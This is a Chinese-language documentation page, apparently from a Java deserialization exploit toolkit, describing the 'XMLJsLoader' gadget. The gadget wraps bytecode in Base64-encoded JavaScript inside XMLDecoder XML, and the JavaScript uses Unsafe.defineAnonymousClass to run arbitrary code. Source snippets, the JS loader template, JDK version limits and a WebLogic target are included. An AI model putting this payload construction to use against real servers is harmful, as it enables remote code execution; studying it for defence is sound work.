Skip to content

Latest commit

 

History

History
60 lines (50 loc) · 5.04 KB

File metadata and controls

60 lines (50 loc) · 5.04 KB

通过 js 加载字节码(XMLJsLoader)

  • 类别:xml 别名:— 优先级:—
  • 作者:—
  • 依赖jdk(实际受限于内置 JS 引擎,见下文「适用版本」)

作用

生成一段 XMLDecoder 可解析的 XML 文本:先用 DatatypeConverter.parseBase64Binary 把内嵌的 Base64 还原成一段 JavaScript,再经 ScriptEngineManagerjs(Nashorn/Rhino)引擎 eval 执行;这段 JS 通过 sun.misc.Unsafe#defineAnonymousClass 把上一环产出的字节码就地加载并 newInstance(),从而在 XMLDecoder 反序列化点实现 RCE。是 XMLDecoder 系列 payload 的字节码落地 sink。

链接标签

  • 入口 tagsXMLDecoderPayload —— 承接 XMLDecoder 类型的 Payload 入口(其产物是一段交给 java.beans.XMLDecoder 解析的 XML 字符串)。
  • 衔接 nextTagsBytecodeConvertTag —— 之后(更内层)需接一个产出 byte[] 字节码的 gadget(典型是 BytecodeConvertExec),其字节码由本 gadget 加载执行。
  • excludes:无。

源码剖析

本类直接实现 Gadget,无基类。核心是一个静态 XML 模板加两次 Base64 包装:

public static String template = "...<void class=\"javax.xml.bind.DatatypeConverter\" method=\"parseBase64Binary\" id=\"str\">...<void class=\"javax.script.ScriptEngineManager\"><void method=\"getEngineByName\"><string>js</string><void method=\"eval\"><object idref=\"payload\"></object>...";

public String getObject(byte[] bytecode) {
    String bytecodeB64 = Base64.encodeBase64String(bytecode);          // ① 字节码 → Base64
    String js = String.format(JsConvert.jsTemplate, bytecodeB64);      // ② 套入 JS 模板
    return String.format(template, Base64.encodeBase64String(js.getBytes())); // ③ JS → Base64 → 套入 XML
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[]) chain.doCreate(context));           // 内层 gadget 必须产出 byte[]
}
  • invokechain.doCreate(context) 取内层对象,并强转为 byte[]——这正是 nextTags=BytecodeConvertTag 的约束:内层必须是产字节码的构件。
  • 第一次 Base64(步骤 ①)把字节码编码,再填进 JsConvert.jsTemplate。该模板(见 JsConvert)的关键逻辑是:
var s = '<bytecodeB64>';
var bt; try { bt = ...BASE64Decoder...decodeBuffer(s); } catch(e){ bt = java.util.Base64.getDecoder().decode(s); }
var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');
theUnsafeField.setAccessible(true);
unsafe = theUnsafeField.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();

即在 JS 里反射拿到 theUnsafe,用 defineAnonymousClass 匿名加载字节码并实例化,触发目标类的静态块/构造器执行命令。

  • 第二次 Base64(步骤 ③)把整段 JS 编码后填入 XML template%s。运行时 XMLDecoder 依次执行:DatatypeConverter.parseBase64Binary 解码得到 byte[]id="str")→ new String(str) 得到 JS 源码(id="payload")→ ScriptEngineManager().getEngineByName("js").eval(payload) 执行 JS。
  • 用 JS 引擎作跳板的意义:XMLDecoder 本身能表达的对象操作有限,借 Nashorn/Rhino 才能完成 Unsafe 反射与匿名类定义这类复杂逻辑。

参数(@Param)

本类无 @Param。载荷由内层字节码 gadget 提供,无用户可配字段。

适用版本与原理要点

  • 名义依赖为 jdk,但实际受 ScriptEngineManagerjs 引擎制约:JDK 8–14 内置 Nashorn(getEngineByName("js") 可用);JDK 15 起 Nashorn 被移除,本 gadget 失效(与 JsConvert 标注的 8 <= jdk <= 14 一致)。Java 6/7 为 Rhino,细节略有差异。
  • XML 模板固定使用 javax.xml.bind.DatatypeConverter——JDK 11 起该 JAXB API 从 JDK 移出,目标需自带 jakarta/javax.xml.bind 依赖方可解码。
  • 依赖 sun.misc.Unsafe#defineAnonymousClass,属 internal API,在更高 JDK 上被封装/移除,进一步收窄可用范围。
  • 生效前提是反序列化入口确为 java.beans.XMLDecoder(如 WebLogic wls9_async、部分 XML 配置解析场景)。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可与 XMLDecoder 入口 Payload 及内层 BytecodeConvert/Exec 自由组合。

关联